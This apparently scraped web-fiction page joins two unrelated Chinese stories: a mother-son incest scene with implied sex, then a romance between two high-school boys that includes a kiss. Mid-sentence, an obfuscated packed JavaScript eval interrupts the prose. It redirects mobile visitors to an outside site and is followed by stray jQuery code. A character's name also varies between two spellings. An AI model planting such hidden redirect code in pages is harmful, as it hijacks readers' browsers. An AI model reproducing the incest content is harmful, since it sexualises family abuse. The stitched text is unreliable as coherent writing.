许厌立刻涨红了脸:“哎呀有的事老提就没意思了,行了行了,要不是你爸不在,你妈年纪又大……”
梁叙笑着附和:“诶是是是,我妈厉害着呢昂,年纪是不算太年轻,身体还好着呢,诶身材也好是吧,可以的可以的哈——”
许厌羞涩地笑着,手放在梁叙大腿处:“是吧,你看哦,你就是遗传了我不是吗,你看这……啧啧啧”
梁叙又往许厌那边靠了点,手自然而然地揽上她的腰,身体里有一个部位蠢蠢欲动……
───────────────────
避雷!!下面是母子!接受不了的跳过!!
梁叙先是出门买了外套,许厌洗了个热水澡,在衣柜里跳挑挑拣拣,选了一件酒红色的,类似于旗袍,但背部裸露着,下身也很短,几乎是内裤的长度了,领口开的很大,贴身衣物没穿,隐隐可见胸前雪白。整件衣服虽是酒红色,但是蕾丝材质,透过光几乎可以说是一览无余。这样的衣服包裹着许厌娇媚的身躯,很难让人不心动。
她躺在床上,屋内的窗帘紧闭,比较昏暗但能看得清。听着隐隐传来的水声,内心的躁动再也按捺不住,拿过抱枕夹在两腿之间。
梁叙出来了,只穿一条内裤,发梢上还挂着水。他按开灯,看着自己的母亲,侧躺着。她回过头,下床走到他面前,诱人的身躯在他眼前晃动。他搂着她上了床。
………………
外面雨还在下,刚好盖住他们弄出的动静。
直到监控提示有人靠近,他们才结束了这场闹剧。
─────────无───────
晚上余剩躺在那间小出租屋的床上,早上走得太急没开窗户,导致房间里一股霉味儿,不过他早已习惯了。
他翻来覆去地睡不着,拿出手机搜索:“被暗恋的人撩了怎么办”,点赞最高的是“如果你能隐约感觉到ta对你也不一般,可以尝试撩回去。”他翻了一个白眼,息屏。想着被梁韧强吻的事儿,要说他对梁稔一点感情都没有,那也不算,但他因为家里的种种原因接受不了男生和男生之间的恋情。
他干脆爬起来,翻着自己写的歌谱,又拿起笔,回忆着那天梁稔唱的歌。歌谱很长,那天他又得把注意力集中在配合上,本以为自己会花很长时间才能记起,没想到刚拿起笔就唰唰地写下去,“比我写数学计算题还流畅”,余剩边写边分神对比了一下,同时隐隐为自己的数学担忧,即使是这样,这歌谱还是写的几乎没有停顿。
写完,他看着自己完美的瘦金体,丝毫没意识到自己弯了弯唇,将歌谱好好存放起来,重新躺回床上安心睡觉。
第二天,余剩再次经过他们班门口,装着不经意间往里一瞥,恰巧看到梁稔正盯着他看。余剩浑身一紧,移开视线。
他脑子里什么声音都听不见,只剩下发烫的耳朵。
梁稔走出班级,靠在墙上等着余剩。余剩回头时一眼就注意到了神色似乎忧郁的他,想绕过道走,但梁稔已经注意到了他,径直朝他走去。
余剩恍惚间已经被拉到昨天被强吻的小角落,等反应过来时,梁稔已经从背后轻轻抱住自己,他第三次闻到那股香气,第三次沉醉在那股香气中。他没有挣脱,倒是梁稔,一会儿就放开了他。
他转过身看着梁稔,吞咽了一下口水,这也是梁稔第三次近距离看到他喉结的滚动,第三次因为这个心跳加速。
余剩想起昨晚那条评论,慢慢靠近他,伸出右手轻轻扣住他的左手,梁稔的背贴着墙。
梁稔不明白他又想搞什么,决定静观其变,而余剩此时已经紧张得不行,虽然表面像个老司机。
两人的距离只剩下几厘米,余剩不知道该说些什么,只好静静望着梁稔。梁稔心里觉得有些好笑,同时涌上一股暖意。左手拂住余剩的背,吻了上去。
这是一个绵长而温和的吻,梁稔先是用唇部感受着余剩的唇,而后缓慢地探出舌尖,柔和地舔舐他的下唇。余剩感觉有些发麻,顺应着梁稔的动作,但只是畏畏缩缩地躲在一边,任由梁稔动作。
后知后觉的余剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031772|178660||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感到一阵强烈的羞耻,下意识舔了舔唇,那上面还留有梁稔的温度。他感受到梁稔火一样的目光,抬头望去,梁稔似笑非笑地盯着自己,嘴角弯成他不怎么熟悉的弧度——比昨天多了好几分。
梁稔凑近余剩,盯着他的眼睛,长长的睫毛微颤着,撩拨着人的心弦。
梁稔伸手摸着他的脸颊,余剩感觉他的手很冰,忍不住抖了一下。梁稔的指尖略过他的下巴、笔尖、眉骨,最后停留在唇上,像是看看自己的劳动成果。
余剩微侧了侧脸,他的手便离开了嘴角。梁稔不太高兴地对上他的眼睛,随即再次注意到他右眼下的那一道疤,之前没细看以为是擦伤一类的,现在看来不像,淡粉色,中间很小的一块是酒红色,整体像水滴横在眼睛下面,但边缘参差不齐,尤其是最右边,尖尖的那头像是书法家写行楷带出来的笔锋。
梁稔用大拇指蹭了蹭那道疤,语气带着些许心疼:“怎么弄的?”
余剩垂下眼眸看着梁韧嫩白的手腕,一脸无所谓:“小学的时候出了车祸,火烧的。”
梁稔的手顿了顿,试探着:“那怎么会只烧到这一小块?”
余剩微不可察地叹了口气,却还是装着心大的语气:“我妈当时抱着我,把我整个人搂在怀里,刚好胳膊间有一点缝隙,就烧到了呗。”
“那……只伤到了这一小块是吗?”梁稔心中隐隐有了猜测,继续询问着。
“不……现在,我左耳听不见了……”余剩吹下眼眸,用左食指指指左边的耳朵,“但是不影响,我另一边是很正常的,可以听到风声啊什么的,跟你们没有什么太大的区别。”
余剩看到梁稔一副很难过很难过的样子,岔开话题:“诶不说这个了,这学校真是气死我了,看——”他指向不远处一栋灰白色的楼,在鼻子里哼了一声,“去年不翻新前年不翻新偏偏是今年,我们一离开那栋楼就翻新,我们还住不了,最主要的是高二9班10班可以去那边。你看那边,颜色都比我们这里好看的多,灰白色和我们这个红色,我真无语死了。”